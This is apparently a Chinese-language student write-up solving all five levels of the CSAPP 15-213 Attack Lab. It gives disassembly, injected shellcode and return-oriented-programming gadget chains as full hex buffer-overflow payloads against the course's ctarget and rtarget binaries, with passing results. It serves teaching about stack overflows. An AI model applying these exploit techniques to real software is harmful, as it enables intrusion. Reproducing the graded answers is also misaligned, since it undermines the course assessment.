0%

CS15-213labs-attack-lab

关于课程

这门课程围绕 CSAPP 展开。

书本相关的所有信息,你可以在 这里 找到。

你可以在 Bilibili 或者 YouTube 查看所有的课程视频,Bilibili附带中文字幕。

建议看完相应的章节然后去做相应的实验。大名鼎鼎的 CSAPP 的作者即是这门课程的讲师。你可以在 这里 找到实验相关的所有内容。

这门课程的实验代码可以在我的 Github 找到我的所有解答及相关资料。本次实验相关代码在 ./attacklab-handout 文件夹下。

attack lab

文档

点击 这里, 然后点击圆圈处 Self-Study Handout 即可下载此次实验对应的文档。

解压之后文件夹对应目录:

1
2
3
4
5
6
7
8
9
10
11
➜  下载 tree attacklab-handout
attacklab-handout
└── target1
├── cookie.txt
├── ctarget
├── farm.c
├── hex2raw
├── README.txt
└── rtarget

1 directory, 6 files
  • cookie.txt: 4字节签名的文本文件
  • ctarget: 具有代码注入漏洞的Linux二进制文件,用于阶段作业的1-3
  • farm.c: 此rtarget实例中存在小工具场的源代码,可以编译(使用-Og标志)并反汇编以查找小工具,更多信息查看 实验官方说明文件
  • hex2raw: 生成字节序列的实用程序。 更多信息查看 实验官方说明文件
  • README.txt: 官方简单说明文件
  • rtarget: Linux二进制文件,具有面向返回的编程漏洞,用于分配的阶段4-5

内容

为学生提供了一对独特的定制生成的x86-64二进制可执行文件,称为target,它们具有缓冲区溢出错误。

一个目标很容易受到代码注入攻击。另一个容易受到面向返回的编程攻击的攻击。

要求学生通过基于代码注入或面向返回的编程开发漏洞利用程序来修改目标的行为。该实验室向学生讲授堆栈规程,并教给他们写易受缓冲区溢出攻击的代码的危险。

环境

LINUX

过程

分析

实验官方说明文件: attacklab

运行 ctarget:

1
2
➜  target1 git:(master) ./ctarget       
FAILED: Initialization error: Running on an illegal host [ardxwe]

查阅相关资料知道需要加上 -q 标志:

1
2
3
➜  target1 git:(master) ./ctarget -q
Cookie: 0x59b997fa
Type string:

一切正常。

level1

毫无疑问,反汇编。

1
➜  target1 git:(master) objdump -d ctarget > ctarget.s

目标: getbuf 函数使用缓冲区溢出技术使程序执行 touch1 函数

首先查看 getbuf 函数汇编代码:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

显然,栈指针 rsp 减去 0x28 作为缓冲区调用 Gets 函数,我们需要做的仅仅是用 touch1 函数虚拟地址覆盖返回地址即可。

查看 touch1 函数汇编代码:

1
2
3
4
5
6
7
8
9
10
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

touch1 函数地址是 00000000004017c0, 栈地址可以通过 gdb 获取,不再赘述。所以答案应该是

level1

调用 Gets 之前,图中 old rsp 处存储上一个函数的地址 return address, 图中 rsp 所指的地址为当前 rsp 寄存器内容。

我们输入的字符会一直填充栈内存,前 0x28 字节任意填充,这里选择全 0 填充,后八个字节填充实际地址,因为 0x00 00 00 00 00 40 17 c0 最高字节为 00,所以只需要填前 7 个字节。

根据 C 语言机制,最后一个字节后面会填充为 0 , 可以达到我们的目的。

后面理论上也可以填充任意字节,但是那无关紧要,我们使用最简单的字节序列达到结果即可。

查看 getbuf 汇编代码:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

先执行第 3 行, 调用 Gets 函数,执行完毕,我们的输入已经填充栈内存

然后执行第 4 行, eax 置为 1

执行第 5 行,栈指针增加 0x28, 指向 old rsp

执行第 6 行, 执行 栈指针内存地址代码段,即 touch1,也就达到了我们的目的

实际填充字节:

1
2
3
4
5
6
7
➜  target1 git:(master) ✗ cat level1.txt                  
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00

结果:

1
2
3
4
5
6
7
8
9
➜  target1 git:(master) cat level1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00

实际执行的命令方式如果你不懂,可以阅读 attacklab

当然也可以 Google, 查阅关于 Linux 管道,流,标准输入,标准输出,标准错误概念

level2

目标:让 ctarget 执行 touch2 的代码,而不是返回 test。你必须造成的效果是:调用 touch2,传递 cookie 作为参数

查看 touch2 函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>

调用 touch2 很简单,传递地址就行,但核心问题是如何传递参数

显然需要注入代码

1
2
3
push $0x4017ec
mov $0x59b997fa, %edi
ret

level2

程序跳转到图中 rsp 处,执行栈内存代码

首先 push touch2 地址,touch2 地址 push 到 图中 old rsp 处

然后将立即数(我的cookie)给 edi 作为第一个参数

最后 ret 执行 touch2 代码段,完美

获取汇编代码的字节表示:

1
2
3
4
5
6
7
8
9
10
11
12
➜  target1 git:(master) ✗ gcc -c level2.s
➜ target1 git:(master) ✗ objdump -d level2.o

level2.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 68 ec 17 40 00 pushq $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq

实际填充字节:

1
2
3
4
5
6
7
➜  target1 git:(master) ✗ cat level2.txt
68 ec 17 40 00 bf fa 97
b9 59 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00

结果:

1
2
3
4
5
6
7
8
9
➜  target1 git:(master) cat level2.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00

level3

目标:让 ctarget 执行 touch3 代码。以 cookie 表示的字符串作为参数

和 level2 唯一不同的是我们需要传递指针,而且字符串本身需要自己填充

汇编代码:

1
2
3
push $0x4018fa
mov $0x5561dca8, $edi
ret

push touch3 函数 将字符串指针传递给 edi 寄存器, 返回,调用 touch3

这里将字符串传递到 old rsp 上方,可以保证在调用 touch3 完成不会被破坏

字节表示(注意字符串的字节表示):

1
2
3
4
5
6
7
8
9
➜  target1 git:(master) ✗ cat level3.txt
68 fa 18 40 00 bf a8 dc
61 55 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

结果:

1
2
3
4
5
6
7
8
9
➜  target1 git:(master) ✗ cat level3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 BF A8 DC 61 55 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

level4

目的:使用制定范围内的两个小工具调用 touch2, 并传递 cookie 参数

小工具指:特定函数范围内某些汇编指令可以利用起来完成我们想要的功能

1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)
400f1b: c3 retq

48 89 c7 也是指令 movq %rax, %rdi 字节表示,我们可以通过填充指令地址,同时利用 ret 指令达到完成一些功能

字节表示:

1
2
3
4
5
6
7
8
9
10
➜  target1 git:(master) cat level4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00

首先执行 0x4019ab 处代码,对应位置代码为

1
2
3
popq $rax
nop
ret

将 cookie 赋给 rax 执行 rsp 处指令

0x 4019c5:

1
2
movq %rax, %rdi
ret

cookie 送到 rdi,跳到 touch2, 完美

结果:

1
2
3
4
5
6
7
8
9
➜  target1 git:(master) cat level4.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00

leve5

目的:执行 touch3 函数,将 cookie 字符串作为参数

此处程序本身使用栈指针随机化技术,每次 rsp 值不固定,所以需要记录 rsp

实际字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  target1 git:(master) cat level5.txt                           
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
movq %rsp, %rax
retq

movq %rax, %rdi
retq

popq %rax
nop
retq

movl %eax, %edx
nop
retq

movl %edx, %ecx
cmpb %c9, %c9
retq

mov %ecx, %esi
nop
nop
retq

lea (%rdi, %rsi, 1), %rax
retq

movq %rax, %rdi
retq

获取栈指针,然后栈上存储偏移,加和得到实际字符串指针,然后跳转到 touch3

明白指令含义,还有 rsp 始终代表当前程序栈顶,就不困难

结果:

1
2
3
4
5
6
7
8
9
➜  target1 git:(master) cat level5.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

全文完

任何建议或者疑问你可以发我邮件: ardxwe@gmail.com